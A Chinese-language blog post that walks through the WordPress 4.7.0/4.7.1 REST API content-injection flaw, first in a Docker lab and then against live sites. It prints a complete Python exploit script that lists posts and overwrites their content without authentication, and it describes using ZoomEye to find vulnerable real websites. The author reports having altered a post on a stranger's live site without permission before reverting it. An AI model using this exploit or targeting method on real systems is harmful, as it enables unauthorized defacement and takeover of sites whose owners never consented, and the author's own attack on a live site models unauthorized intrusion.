一个漏洞的应用

使用的漏洞环境

WordPress REST API内容注入漏洞

漏洞信息

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。从 4.7.0 版本开始,WordPress 集成了 REST API 插件的功能。近日,一个由 REST API 引起的漏洞被披露,远程攻击者可利用该漏洞在无认证情况下查看、修改、删除、甚至创建新的文章。

https://www.seebug.org/vuldb/ssvid-92637 这里有漏洞的详细分析

阅读后是大概知道了这个漏洞的具体信息

影响版本

WordPress 4.7.0
WordPress 4.7.1

使用这个链接提供的docker镜像

复现并利用漏洞

使用docker直接就可以搭建完这个漏洞环境

进入这个环境使用提供的管理员账户登陆进入并创建出下面的一个测试文章

在链接中找到了一个用py写的测试代码,对这个代码进行requests的改写后,利用这个代码来判断是否存在漏洞,并对漏洞进行利用

import json
import sys
#import urllib.request
import requests

from lxml import etree


def get_api_url(wordpress_url):
    #response = urllib.request.urlopen(wordpress_url)
    response = requests.get(wordpress_url)

    data = etree.HTML(response.text)
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]

    # check if we have permalinks
    if 'rest_route' in u:
        print(' ! Warning, looks like permalinks are not enabled. This might not work!')

    return u


def get_posts(api_base):
    #respone = urllib.request.urlopen(api_base + 'wp/v2/posts')
    respone = requests.get(api_base + 'wp/v2/posts')
    #posts = json.loads(respone.read())
    posts = json.loads(respone.text)

    for post in posts:
        print(' - Post ID: {0}, Title: {1}, Url: {2}'
              .format(post['id'], post['title']['rendered'], post['link']))


def update_post(api_base, post_id, post_content):
    # more than just the content field can be updated. see the api docs here:
    # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
    #data = json.dumps({
    #    'content': 'fool'
    #})
    data = {"content":post_content}

    url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)

    req = requests.post(url,data)
    #req = urllib.request.Request(url, data, {'Content-Type': 'application/json'})

    #response = urllib.request.urlopen(req).read()
    response = requests.get(url).text

    #data = urllib.parse.urlencode(values).encode(encoding = 'utf-8') 

    print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))


def print_usage():
    print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))


if __name__ == '__main__':

    # ensure we have at least a url
    if len(sys.argv) < 2:
        print_usage()
        sys.exit(1)

    # if we have a post id, we need content too
    if 2 < len(sys.argv) < 4:
        print('Please provide a file with post content with a post id')
        print_usage()
        sys.exit(1)

    print('* Discovering API Endpoint')
    api_url = get_api_url(sys.argv[1])
    print('* API lives at: {0}'.format(api_url))

    # if we only have a url, show the posts we have have
    if len(sys.argv) < 3:
        print('* Getting available posts')
        get_posts(api_url)

        sys.exit(0)

    # if we get here, we have what we need to update a post!
    print('* Updating post {0}'.format(sys.argv[2]))
    with open(sys.argv[3], 'r',encoding='UTF8') as content:
        new_content = content.readlines()

    update_post(api_url, sys.argv[2], ''.join(new_content))

    print('* Update complete!')

使用这个代码,判断环境中是否存在漏洞,如果存在则获取文章ID

把给定的文章内容替换成另外准备的文件ct的内容

文章在没有经过任何权限认证的情况下就被更改了

通过Wordpress提供的API还可以修改:日期、文章状态、标题等等的内容,配合其他手段可以达到对整个网站的完全控制。

寻找真实靶机

通过zoomeye搜索关键字wordpress 4.7.1或者wordpress 4.7.0可以得到很多结果。

判断第一个ip的网站是否有存在漏洞

看来这位英国小哥没有更新Wordpress

之前已经通过这个漏洞更改过里面的Blogging这篇文章了

修改前

修改后

为了不让这位小哥感到困扰,后面把改回去了(不过讲道理,这个也是已经改了的……自己努力把换行调得接近记忆中的样子)

发表评论

电子邮件地址不会被公开。 必填项已用*标注